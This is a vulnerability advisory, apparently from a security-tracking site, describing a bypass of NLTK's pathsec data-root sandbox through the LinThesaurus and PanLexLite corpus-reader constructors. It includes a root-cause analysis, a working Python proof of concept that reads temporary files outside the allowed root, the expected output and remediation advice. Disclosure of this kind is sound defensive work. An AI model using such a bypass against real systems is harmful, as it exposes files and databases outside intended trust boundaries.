NLTK: Corpus Reader Sandbox Bypass
위협 신호 · CVSS · EPSS · KEV
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계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
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Summary
NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.
The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.
Affected Product
- Product: NLTK
- Asset / component:
nltk.corpus.readerconstructors - Version tested:
3.10.2 - Deployment / package / tag: commit
474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/ PyPInltk - Environment used for verification: Python 3.13.14
Vulnerability Details
- Vulnerability class: path sandbox bypass / external control of file path
- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
- Entry point:
LinThesaurusCorpusReader(root)andPanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by
nltk.pathsec - Root affected functions:
- Measured unsafe effect: outside-root file/database reads still happen with
ENFORCE=True
Root Cause
CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.
1if zipfile: 2 root = ZipFilePathPointer(zipfile, zipentry) 3else: 4 root = FileSystemPathPointer(root) 5 6with open(path) as lin_file: 7 ... 8 9self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()Proof of Concept
Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.
1#!/usr/bin/env python3 2"""PoC for HY-01: corpus-reader sandbox bypass. 3 4This script proves three facts: 5- pathsec blocks a direct read through the sandboxed file API 6- LinThesaurusCorpusReader still reaches builtin open() on an outside path 7- PanLexLiteCorpusReader still opens an outside sqlite database and loads data 8""" 9 10from __future__ import annotations11 12import builtins13import pathlib14import sqlite315import sys16import tempfile17from unittest.mock import patch18 19try:20 import nltk.pathsec as pathsec21 from nltk.corpus.reader.lin import LinThesaurusCorpusReader22 from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader23except ModuleNotFoundError:24 here = pathlib.Path(__file__).resolve()25 for base in (here.parent, *here.parents):26 if (base / "nltk").is_dir() and (base / "setup.py").exists():27 sys.path.insert(0, str(base))28 break29 else:30 raise RuntimeError(31 "Could not import nltk. Run this script from an NLTK checkout root "32 "or from an environment where the current checkout is installed."33 )34 35 import nltk.pathsec as pathsec36 from nltk.corpus.reader.lin import LinThesaurusCorpusReader37 from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader38 39 40def main() -> int:41 pathsec.ENFORCE = True42 43 with patch.object(pathsec, "_get_allowed_roots", lambda: set()):44 with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):45 with tempfile.TemporaryDirectory() as tmp:46 tmpdir = pathlib.Path(tmp)47 outside = tmpdir / "outside"48 outside.mkdir()49 50 blocked_file = outside / "blocked.txt"51 blocked_file.write_text("blocked", encoding="utf-8")52 53 control_target = str(blocked_file)54 try:55 with pathsec.open(control_target, "rb"):56 raise AssertionError(57 "pathsec.open unexpectedly allowed control path"58 )59 except PermissionError:60 print("control:pathsec.open=blocked")61 62 lin_root = tmpdir / "lin"63 lin_root.mkdir()64 lin_file = lin_root / "simN.lsp"65 lin_file.write_text(66 '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',67 encoding="utf-8",68 )69 70 opened = []71 real_open = builtins.open72 73 def tracking_open(*args, **kwargs):74 opened.append(str(args[0]))75 return real_open(*args, **kwargs)76 77 with patch("builtins.open", tracking_open):78 LinThesaurusCorpusReader(str(lin_root))79 80 if any(p.endswith("simN.lsp") for p in opened):81 print("lin:outside_root_open=success")82 else:83 raise AssertionError("LinThesaurusCorpusReader did not open data")84 85 panlex_root = tmpdir / "panlex"86 panlex_root.mkdir()87 db_path = panlex_root / "db.sqlite"88 db = sqlite3.connect(db_path)89 cur = db.cursor()90 cur.execute("create table lv(uid text, lv text, lc text, tt text)")91 cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")92 cur.execute("create table ex(ex int, tt text, lv text, uq int)")93 cur.execute(94 "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"95 )96 db.commit()97 db.close()98 99 reader = PanLexLiteCorpusReader(str(panlex_root))100 result = reader.language_varieties()101 if result == [("u1", "English")]:102 print("panlex:language_varieties=success")103 else:104 raise AssertionError("PanLexLiteCorpusReader did not load data")105 106 return 0107 108 109if __name__ == "__main__":110 raise SystemExit(main())Expected output:
1control:pathsec.open=blocked 2lin:outside_root_open=success 3panlex:language_varieties=successImpact
A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.
Severity
- Base Score: 7.5 (High)
- Severity reasoning:
The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.
Remediation
Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.
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